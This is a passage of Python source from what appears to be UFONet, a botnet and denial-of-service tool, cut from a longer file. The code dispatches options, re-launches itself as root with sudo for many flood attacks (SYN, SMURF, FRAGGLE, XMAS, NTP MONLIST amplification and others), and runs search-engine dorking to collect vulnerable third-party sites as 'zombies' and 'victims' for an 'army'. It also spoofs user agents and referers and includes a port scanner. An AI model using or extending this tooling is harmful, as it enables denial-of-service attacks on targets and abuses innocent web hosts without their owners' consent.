  308. try:
  309. euid = os.geteuid()
  310. except:
  311. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  312. print("[AI] "+self.exit_msg+"\n")
  313. sys.exit(2) # return
  314. return euid
  315. def start_ship_engine(self):
  316. self.agents = [] # generating available user-agents
  317. f = open(self.agents_file)
  318. agents = f.readlines()
  319. f.close()
  320. for agent in agents:
  321. self.agents.append(agent)
  322. self.user_agent = random.choice(self.agents).strip()
  323. self.search_engines = [] # available dorking search engines
  324. self.search_engines.append('bing') # [13/07/2021: OK!]
  325. self.search_engines.append('yahoo') # [13/07/2021: OK!]
  326. self.search_engines.append('duck') # [13/07/2021: OK!]
  327. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  328. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  329. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  330. if not os.path.exists("core/json/"): # create gui json cfg files folder
  331. os.mkdir("core/json/")
  332. self.banner_welcome()
  333. self.update_flying_stats() # update flying time stats
  334. chargo = self.check_mothership_chargo() # check mothership chargo
  335. self.update_max_chargo(int(chargo)) # update max chargo stats
  336. self.generate_exit_msg() # generate random exit msg
  337. def hmac_sha1(self, key, msg):
  338. if len(key) > 20:
  339. key = sha1(key).digest()
  340. key += chr(0).encode('utf-8') * (20 - len(key))
  341. o_key_pad = key.translate(self.trans_5C)
  342. i_key_pad = key.translate(self.trans_36)
  343. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  344. def derive_keys(self, key):
  345. key = key.encode('utf-8')
  346. h = sha256()
  347. h.update(key)
  348. h.update('cipher'.encode('utf-8'))
  349. cipher_key = h.digest()
  350. h = sha256()
  351. h.update(key)
  352. h.update('mac'.encode('utf-8'))
  353. mac_key = h.digest()
  354. return (cipher_key, mac_key)
  355. def decrypt(self, key, text):
  356. KEY_SIZE = 32
  357. BLOCK_SIZE = 16
  358. MAC_SIZE = 20
  359. mode = AES.MODE_CFB
  360. try:
  361. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  362. except:
  363. try:
  364. padding = len(text) % 4
  365. if padding == 1:
  366. return ''
  367. elif padding == 2:
  368. text += b'=='
  369. elif padding == 3:
  370. text += b'='
  371. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  372. except TypeError:
  373. return None
  374. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  375. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  376. mac = iv_ciphertext_mac[-MAC_SIZE:]
  377. (cipher_key, mac_key) = self.derive_keys(key)
  378. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  379. if mac != expected_mac:
  380. return None
  381. aes = AES.new(cipher_key, mode, iv)
  382. self.decryptedtext = aes.decrypt(ciphertext)
  383. try:
  384. self.decryptedtext = self.decryptedtext.decode('utf-8')
  385. except:
  386. pass
  387. def run(self, opts=None):
  388. if opts:
  389. self.create_options(opts)
  390. options = self.options
  391. # start threads
  392. if not self.options.threads:
  393. self.options.threads=5 # default number of threads
  394. self.sem = threading.Semaphore(self.options.threads)
  395. # start ship engine
  396. self.start_ship_engine()
  397. # check proxy options
  398. proxy = options.proxy
  399. if options.proxy:
  400. try:
  401. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  402. m = re.search(pattern, proxy)
  403. if m is None:
  404. self.banner()
  405. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  406. return
  407. else:
  408. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  409. except Exception:
  410. self.banner()
  411. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  412. return
  413. # check tor connection
  414. if options.checktor:
  415. url = self.check_tor_url # TOR status checking site
  416. self.banner()
  417. print("\nSending request to: " + url + "\n")
  418. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  419. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  420. try:
  421. if options.proxy: # set proxy
  422. self.proxy_transport(options.proxy)
  423. req = urllib.request.Request(url, None, headers)
  424. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  425. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  426. if not tor_reply or 'Congratulations' not in tor_reply:
  427. print("It seems that Tor is not properly set.\n")
  428. print(("IP address appears to be: " + your_ip + "\n"))
  429. else:
  430. print("Congratulations!. Tor is properly being used :-)\n")
  431. print(("IP address appears to be: " + your_ip + "\n"))
  432. except:
  433. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  434. sys.exit(2) # return
  435. # run AES256+HMAC-SHA1 enc/dec tool
  436. if options.cryptomsg:
  437. from core.tools.crypter import Cipher
  438. print(" " + '='*44)
  439. print(" ")
  440. print(" ____...------------...____ ")
  441. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  442. print(" .' / / \ \ '. ")
  443. print(" |=====/o/======================\o\=====| ")
  444. print(" |____/_/________..____..________\_\____| ")
  445. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  446. print(" \__/_____\####/0213411543/####/_____\__/ ")
  447. print(" |===\!/========================\!/===| ")
  448. print(" | |=| .---. |=| | ")
  449. print(" |===|o|=========/ \========|o|===| ")
  450. print(" | | | \() ()/ | | | ")
  451. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  452. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  453. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  454. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  455. print(" '''''''''''''''''''''''''''''''''''''' ")
  456. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  457. print(" (140 plain text chars = 69 encrypted chars)\n")
  458. print(" " + '='*44 + "\n")
  459. text = str(input("-> Enter TEXT: "))
  460. input_key = str(input("\n-> Enter KEY: "))
  461. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  462. c = Cipher(key, text)
  463. msg = c.encrypt()
  464. msg = msg.decode('utf-8')
  465. c.set_text(msg)
  466. print("\n" + " " + '-'*44)
  467. print('\n-> Ciphertext: [', msg, ']')
  468. print('\n-> Length:', len(msg))
  469. print("\n" + " " + '-'*44)
  470. print('\n-> Key (share it using SNEAKNET!):', input_key)
  471. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  472. # run shownet tool
  473. if options.shownet:
  474. hex_mac = self.show_mac_address()
  475. self.banner()
  476. print("-> Network Info:")
  477. print('='*44)
  478. print("-"*35)
  479. print("|- MAC Address :", hex_mac)
  480. print("|" +"-"*34)
  481. private_ip, public_ip = self.show_ips()
  482. print("|- IP Private :", private_ip)
  483. print("|" +"-"*34)
  484. t = urlparse(self.check_ip_service3)
  485. name_service = t.netloc
  486. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  487. print("-"*35)
  488. print('='*75, "\n")
  489. # run UFOSCAN tool (check EUID when running UFOSCAN)
  490. if options.xray:
  491. euid = self.checkeuid()
  492. if euid != 0:
  493. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  494. try:
  495. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  496. os.execlpe('sudo', *args)
  497. except:
  498. pass # keep running
  499. else:
  500. if not options.xrayps:
  501. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  502. ports = options.xrayps
  503. try:
  504. portX, portY = ports.split('-')
  505. try:
  506. portX = int(portX)
  507. portY = int(portY)
  508. except:
  509. portX = 1
  510. portY = 1024
  511. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  512. except:
  513. portX = 1
  514. portY = 1024
  515. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  516. self.banner()
  517. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  518. print('='*22 + '\n')
  519. try:
  520. self.instance = UFOSCAN() # instance main class for scanning operations
  521. xray = self.instance.scanning(options.xray, portX, portY)
  522. except Exception as e:
  523. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  524. if DEBUG == True:
  525. traceback.print_exc()
  526. return
  527. # show code timeline
  528. if options.timeline:
  529. f = open(self.timeline_file, 'r')
  530. releases = f.readlines()
  531. f.close()
  532. self.banner()
  533. print("-> Code timeline:")
  534. print('='*44)
  535. print("-"*35)
  536. for r in releases:
  537. print(r.strip('\n'))
  538. print("-"*35)
  539. print('='*75, "\n")
  540. # print some examples
  541. if options.examples:
  542. f = open(self.examples_file, 'r')
  543. examples = f.readlines()
  544. f.close()
  545. self.banner()
  546. for e in examples:
  547. print(e.strip('\n'))
  548. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  549. if options.ufosyn:
  550. euid = self.checkeuid()
  551. if euid != 0:
  552. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  553. try:
  554. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  555. os.execlpe('sudo', *args)
  556. except:
  557. pass # keep running, but UFOSYN will fail
  558. # check EUID when running SPRAY (root required)
  559. if options.spray:
  560. euid = self.checkeuid()
  561. if euid != 0:
  562. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  563. try:
  564. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  565. os.execlpe('sudo', *args)
  566. except:
  567. pass # keep running, but SPRAY will fail
  568. # check EUID when running SMURF (root required)
  569. if options.smurf:
  570. euid = self.checkeuid()
  571. if euid != 0:
  572. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  573. try:
  574. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  575. os.execlpe('sudo', *args)
  576. except:
  577. pass # keep running, but SMURF will fail
  578. # check EUID when running FRAGGLE (root required)
  579. if options.fraggle:
  580. euid = self.checkeuid()
  581. if euid != 0:
  582. print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n")
  583. try:
  584. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  585. os.execlpe('sudo', *args)
  586. except:
  587. pass # keep running, but FRAGGLE will fail
  588. # check EUID when running XMAS (root required)
  589. if options.xmas:
  590. euid = self.checkeuid()
  591. if euid != 0:
  592. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  593. try:
  594. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  595. os.execlpe('sudo', *args)
  596. except:
  597. pass # keep running, but XMAS will fail
  598. # check EUID when running UFOACK (root required)
  599. if options.ufoack:
  600. euid = self.checkeuid()
  601. if euid != 0:
  602. print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n")
  603. try:
  604. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  605. os.execlpe('sudo', *args)
  606. except:
  607. pass # keep running, but UFOACK will fail
  608. # check EUID when running UFORST (root required)
  609. if options.uforst:
  610. euid = self.checkeuid()
  611. if euid != 0:
  612. print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n")
  613. try:
  614. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  615. os.execlpe('sudo', *args)
  616. except:
  617. pass # keep running, but UFORST will fail
  618. # check EUID when running DROPER (root required)
  619. if options.droper:
  620. euid = self.checkeuid()
  621. if euid != 0:
  622. print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n")
  623. try:
  624. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  625. os.execlpe('sudo', *args)
  626. except:
  627. pass # keep running, but DROPER will fail
  628. # check EUID when running OVERLAP (root required)
  629. if options.overlap:
  630. euid = self.checkeuid()
  631. if euid != 0:
  632. print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n")
  633. try:
  634. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  635. os.execlpe('sudo', *args)
  636. except:
  637. pass # keep running, but OVERLAP will fail
  638. # check EUID when running PINGER (root required)
  639. if options.pinger:
  640. euid = self.checkeuid()
  641. if euid != 0:
  642. print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n")
  643. try:
  644. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  645. os.execlpe('sudo', *args)
  646. except:
  647. pass # keep running, but PINGER will fail
  648. # check EUID when running UFOUDP (root required)
  649. if options.ufoudp:
  650. euid = self.checkeuid()
  651. if euid != 0:
  652. print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n")
  653. try:
  654. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  655. os.execlpe('sudo', *args)
  656. except:
  657. pass # keep running, but UFOUDP will fail
  658. # check EUID when running NUKE (root required)
  659. if options.nuke:
  660. euid = self.checkeuid()
  661. if euid != 0:
  662. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  663. try:
  664. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  665. os.execlpe('sudo', *args)
  666. except:
  667. pass # keep running, but NUKE will fail
  668. # check EUID when running TACHYON (root required)
  669. if options.tachyon:
  670. euid = self.checkeuid()
  671. if euid != 0:
  672. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  673. try:
  674. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  675. os.execlpe('sudo', *args)
  676. except:
  677. pass # keep running, but TACHYON will fail
  678. # check EUID when running MONLIST (root required)
  679. if options.monlist:
  680. euid = self.checkeuid()
  681. if euid != 0:
  682. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  683. try:
  684. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  685. os.execlpe('sudo', *args)
  686. except:
  687. pass # keep running, but MONLIST will fail
  688. # check EUID when running SNIPER (root required)
  689. if options.sniper:
  690. euid = self.checkeuid()
  691. if euid != 0:
  692. print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n")
  693. try:
  694. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  695. os.execlpe('sudo', *args)
  696. except:
  697. pass # keep running, but SNIPER will fail
  698. # search for [Zombies] on search engines results (dorking)
  699. if options.search:
  700. zombies = []
  701. if options.engine:
  702. engine = options.engine
  703. else:
  704. engine = "duck" # default search engine
  705. try:
  706. self.banner()
  707. if not os.path.exists(self.humans_file) == True:
  708. f = open(self.humans_file, 'w')
  709. f.close()
  710. lf = open(self.humans_file, 'r')
  711. restored = lf.readlines()
  712. zombies_restored = len(restored)
  713. lf.close()
  714. lz = open(self.zombies_file, 'r')
  715. zombies_army = lz.readlines()
  716. for zombie in zombies_army:
  717. zombies.append(zombie) # add zombies from army to the zombies pool
  718. lz.close()
  719. if len(restored) > 0:
  720. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  721. if not self.options.forceyes:
  722. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  723. print('-'*25)
  724. else:
  725. backup_reply = "Y"
  726. if backup_reply == "n" or backup_reply == "N":
  727. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  728. os.remove(self.humans_file)
  729. zombies_restored = 0 # flush zombies restored
  730. print('-'*25 + "\n")
  731. else:
  732. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  733. print('-'*25 + "\n")
  734. for zombie in restored:
  735. zombies.append(zombie) # add previous data to zombies pool
  736. if options.allengines:
  737. if options.ex_engine: # exclude some search engines manually
  738. exclude = options.ex_engine.split(",")
  739. for ex in exclude:
  740. ex = ex.lower()
  741. if ex in self.search_engines:
  742. if len(self.search_engines) == 1: # at least one should make it
  743. pass
  744. else:
  745. self.search_engines.remove(ex)
  746. for e in self.search_engines:
  747. engine = e
  748. print('='*44)
  749. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  750. print('='*44 + '\n')
  751. self.options.engine = engine
  752. try:
  753. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  754. if zombies_chain != None:
  755. for zombie in zombies_chain:
  756. if zombie not in zombies: # evade possible repetitions
  757. zombies.append(zombie)
  758. except:
  759. if zombies: # backup all new zombies found to file in case of exception
  760. for zombie in zombies:
  761. if zombie+os.linesep not in restored: # only append new zombies found
  762. with open(self.humans_file, "a") as f:
  763. f.write(str(zombie+os.linesep))
  764. else:
  765. if restored:
  766. print('='*44)
  767. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  768. print('='*44 + '\n')
  769. if restored: # from restored file
  770. try:
  771. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  772. if zombies_chain != None:
  773. for zombie in zombies_chain:
  774. if zombie not in zombies: # evade possible repetitions
  775. zombies.append(zombie)
  776. except:
  777. if zombies: # backup all new zombies found to file in case of exception
  778. for zombie in zombies:
  779. if zombie+os.linesep not in restored: # only append new zombies found
  780. with open(self.humans_file, "a") as f:
  781. f.write(str(zombie+os.linesep))
  782. else:
  783. try:
  784. zombies = self.search_zombies(dork='', zombies_found=zombies)
  785. except:
  786. if zombies: # backup all new zombies found to file in case of exception
  787. for zombie in zombies:
  788. if zombie+os.linesep not in restored: # only append new zombies found
  789. with open(self.humans_file, "a") as f:
  790. f.write(str(zombie+os.linesep))
  791. total_restored = zombies_restored
  792. new_zombies = 0 # new zombies counter
  793. f = open(self.zombies_file, 'r')
  794. zz = f.readlines()
  795. f.close()
  796. zombies_found = []
  797. for z in zombies:
  798. if z.endswith(os.linesep):
  799. z = z.replace(os.linesep, "")
  800. if z not in zz and z+os.linesep not in zz:
  801. new_zombies = new_zombies + 1
  802. zombies_found.append(z)
  803. print('='*62)
  804. print("\n- Victims found:", len(zombies_found), "\n")
  805. print(" - Restored:", total_restored)
  806. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  807. print('-'*32)
  808. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  809. print('='*62 + '\n')
  810. if len(zombies) > 0:
  811. if not self.options.forceyes:
  812. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  813. print('-'*25)
  814. else:
  815. check_backup_reply = "Y"
  816. if check_backup_reply == "n" or check_backup_reply == "N":
  817. if os.path.isfile(self.humans_file):
  818. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  819. print("\n[Info] [AI] Temporal data correctly removed...\n")
  820. else:
  821. with open(self.humans_file, "w") as f:
  822. for z in zombies_found:
  823. if z.endswith(os.linesep):
  824. z = z.replace(os.linesep, "")
  825. if z not in zz or z+os.linesep not in zz:
  826. f.write(z+os.linesep)
  827. f.close()
  828. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  829. print('-'*25 + "\n")
  830. if new_zombies and new_zombies > 0:
  831. if not self.options.forceyes:
  832. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  833. print('-'*25 + "\n")
  834. else:
  835. check_url_link_reply = "Y"
  836. if check_url_link_reply == "n" or check_url_link_reply == "N":
  837. print("[AI] "+self.exit_msg+"\n")
  838. pass
  839. else:
  840. print("\n" + '='*44)
  841. test = self.testing(zombies_found)
  842. else:
  843. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  844. except Exception:
  845. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  846. # search for [Zombies] from a list of [Dorks]
  847. if options.dorks:
  848. if options.engine:
  849. engine = options.engine
  850. else:
  851. engine = "duck" # default search engine
  852. try:
  853. dorks = self.extract_dorks()
  854. if not dorks:
  855. return
  856. zombies = []
  857. self.banner()
  858. if not os.path.exists(self.humans_file) == True:
  859. f = open(self.humans_file, 'w')
  860. f.close()
  861. lf = open(self.humans_file, 'r')
  862. restored = lf.readlines()
  863. zombies_restored = len(restored)
  864. lf.close()
  865. lz = open(self.zombies_file, 'r')
  866. zombies_army = lz.readlines()
  867. for zombie in zombies_army:
  868. zombies.append(zombie) # add zombies from army to the zombies pool
  869. lz.close()
  870. if len(restored) > 0:
  871. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  872. if not self.options.forceyes:
  873. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  874. print('-'*25)
  875. else:
  876. backup_reply = "Y"
  877. if backup_reply == "n" or backup_reply == "N":
  878. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  879. os.remove(self.humans_file)
  880. zombies_restored = 0 # flush zombies restored
  881. print('-'*25 + "\n")
  882. else:
  883. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  884. print('-'*25 + "\n")
  885. for zombie in restored:
  886. zombies.append(zombie) # add previous data to zombies pool
  887. total_restored = zombies_restored
  888. if options.allengines:
  889. if options.ex_engine: # exclude some search engines manually
  890. exclude = options.ex_engine.split(",")
  891. for ex in exclude:
  892. ex = ex.lower()
  893. if ex in self.search_engines:
  894. if len(self.search_engines) == 1: # at least one should make it
  895. pass
  896. else:
  897. self.search_engines.remove(ex)
  898. for e in self.search_engines:
  899. engine = e
  900. print('='*44)
  901. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  902. print('='*44 + '\n')
  903. self.options.engine = engine
  904. for dork in dorks:
  905. print('='*22)
  906. print("Dork:", dork)
  907. print('='*22 + '\n')
  908. try:
  909. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  910. for zombie in dorked_zombies:
  911. if zombie not in zombies: # evade repetitions for zombies found
  912. zombies.append(zombie)
  913. if zombie+os.linesep not in restored: # only append new zombies found
  914. with open(self.humans_file, "a") as f:
  915. f.write(str(zombie+os.linesep))
  916. f.close()
  917. except:
  918. if zombies: # backup new zombies found on exception
  919. for zombie in zombies:
  920. if zombie+os.linesep not in restored: # only append new zombies found
  921. with open(self.humans_file, "a") as f:
  922. f.write(str(zombie+os.linesep))
  923. f.close()
  924. else:
  925. if restored:
  926. print('='*44)
  927. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  928. print('='*44 + '\n')
  929. for dork in dorks:
  930. print('='*22)
  931. print("Dork:", dork)
  932. print('='*22 + '\n')
  933. try:
  934. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  935. if dorked_zombies != None:
  936. for zombie in dorked_zombies:
  937. if zombie not in zombies: # evade repetitions for zombies found
  938. zombies.append(zombie)
  939. except:
  940. if zombies: # backup new zombies found on exception
  941. for zombie in zombies:
  942. if zombie+os.linesep not in restored: # only append new zombies found
  943. with open(self.humans_file, "a") as f:
  944. f.write(str(zombie+os.linesep))
  945. f.close()
  946. new_zombies = 0 # new zombies counter
  947. f = open(self.zombies_file, 'r')
  948. zz = f.readlines()
  949. f.close()
  950. zombies_found = []
  951. for z in zombies:
  952. if z.endswith(os.linesep):
  953. z = z.replace(os.linesep, "")
  954. if z not in zz and z+os.linesep not in zz:
  955. new_zombies = new_zombies + 1
  956. zombies_found.append(z)
  957. print('='*62)
  958. print("\n- Victims found:", len(zombies_found), "\n")
  959. print(" - Restored:", total_restored)
  960. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  961. print('-'*32)
  962. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  963. print('='*62 + '\n')
  964. if len(zombies_found) > 0:
  965. if not self.options.forceyes:
  966. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  967. print('-'*25)
  968. else:
  969. check_backup_reply = "Y"
  970. if check_backup_reply == "n" or check_backup_reply == "N":
  971. if os.path.isfile(self.humans_file):
  972. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  973. print("\n[Info] [AI] Temporal data correctly removed...\n")
  974. else:
  975. with open(self.humans_file, "w") as f:
  976. for z in zombies_found:
  977. if z.endswith(os.linesep):
  978. z = z.replace(os.linesep, "")
  979. if z not in zz or z+os.linesep not in zz:
  980. f.write(z+os.linesep)
  981. f.close()
  982. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  983. print('-'*25 + "\n")
  984. if new_zombies and new_zombies > 0:
  985. if not self.options.forceyes:
  986. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  987. print('-'*25 + "\n")
  988. else:
  989. check_url_link_reply = "Y"
  990. if check_url_link_reply == "n" or check_url_link_reply == "N":
  991. print("[AI] "+self.exit_msg+"\n")
  992. pass
  993. else:
  994. print("\n" + '='*44)
  995. test = self.testing(zombies_found)
  996. else:
  997. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  998. except Exception:
  999. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  1000. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  1001. if options.autosearch:
  1002. try:
  1003. dorks = self.extract_dorks()
  1004. except:
  1005. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  1006. return
  1007. engines_list = self.search_engines
  1008. stop_flag = False # use a flag to establish an end
  1009. try:
  1010. self.banner()
  1011. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  1012. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  1013. print('-'*25 + "\n")
  1014. zombies_found = []
  1015. lz = open(self.zombies_file, 'r')
  1016. zombies_army = lz.readlines()
  1017. for zombie in zombies_army:
  1018. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  1019. lz.close()
  1020. if not os.path.exists(self.humans_file) == True:
  1021. f = open(self.humans_file, 'w')
  1022. f.close()
  1023. lf = open(self.humans_file, 'r')
  1024. restored = lf.readlines()
  1025. zombies_restored = len(restored)
  1026. lf.close()
  1027. if len(restored) > 0:
  1028. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1029. if not self.options.forceyes:
  1030. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1031. print('-'*25)
  1032. else:
  1033. backup_reply = "Y"
  1034. if backup_reply == "n" or backup_reply == "N":
  1035. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  1036. os.remove(self.humans_file)
  1037. zombies_restored = 0 # flush zombies restored
  1038. print('-'*25 + "\n")
  1039. else:
  1040. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  1041. print('-'*25 + "\n")
  1042. for zombie in restored:
  1043. zombies_found.append(zombie) # add previous data to zombies found pool
  1044. total_restored = zombies_restored
  1045. while stop_flag == False:
  1046. if not os.path.exists(self.humans_file) == True:
  1047. f = open(self.humans_file, 'w')
  1048. f.close()
  1049. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  1050. restored = lf.readlines()
  1051. lf.close()
  1052. zombies_restored = len(restored)
  1053. for e in engines_list:
  1054. zombies_counter = 0 # use it also as (engine) flag
  1055. engine = e
  1056. self.options.engine = engine
  1057. print('='*44 + '\n')
  1058. print(("[AI] Searching for zombies using: "+engine+'\n'))
  1059. print('='*44 + '\n')
  1060. for dork in dorks:
  1061. print('='*22)
  1062. print("Dork:", dork)
  1063. print('='*22 + '\n')
  1064. try:
  1065. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  1066. for zombie in dorked_zombies:
  1067. if zombie not in zombies_found: # evade repetitions for zombies found
  1068. zombies_found.append(zombie)
  1069. if zombie+os.linesep not in restored: # only append new zombies found
  1070. with open(self.humans_file, "a") as f:
  1071. f.write(str(zombie+os.linesep))
  1072. f.close()
  1073. zombies_counter = zombies_counter + 1
  1074. except:
  1075. if zombies_found: # backup new zombies found on exception
  1076. for zombie in zombies_found:
  1077. if zombie+os.linesep not in restored: # only append new zombies found
  1078. with open(self.humans_file, "a") as f:
  1079. f.write(str(zombie+os.linesep))
  1080. f.close()
  1081. if zombies_counter == 0:
  1082. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  1083. print('-'*25 + "\n")
  1084. engines_list.remove(engine) # remove not more results engine from search engines list
  1085. if not engines_list: # if search engines empty, call return-exit routine
  1086. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  1087. print('-'*25 + "\n")
  1088. stop_flag = True # exit flag up
  1089. new_zombies = 0 # new zombies counter
  1090. f = open(self.zombies_file, 'r')
  1091. zz = f.readlines()
  1092. f.close()
  1093. all_zombies_found = []
  1094. for z in zombies_found:
  1095. if z.endswith(os.linesep):
  1096. z = z.replace(os.linesep, "")
  1097. if z not in zz and z+os.linesep not in zz:
  1098. new_zombies = new_zombies + 1
  1099. all_zombies_found.append(z)
  1100. print('='*62)
  1101. print("\n- Victims found:", len(all_zombies_found), "\n")
  1102. print(" - Restored:", total_restored)
  1103. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  1104. print('-'*32)
  1105. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1106. print('='*62 + '\n')
  1107. if len(zombies_found) > 0:
  1108. if not self.options.forceyes:
  1109. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1110. print('-'*25)
  1111. else:
  1112. check_backup_reply = "Y"
  1113. if check_backup_reply == "n" or check_backup_reply == "N":
  1114. if os.path.isfile(self.humans_file):
  1115. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1116. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1117. else:
  1118. with open(self.humans_file, "w") as f:
  1119. for z in all_zombies_found:
  1120. if z.endswith(os.linesep):
  1121. z = z.replace(os.linesep, "")
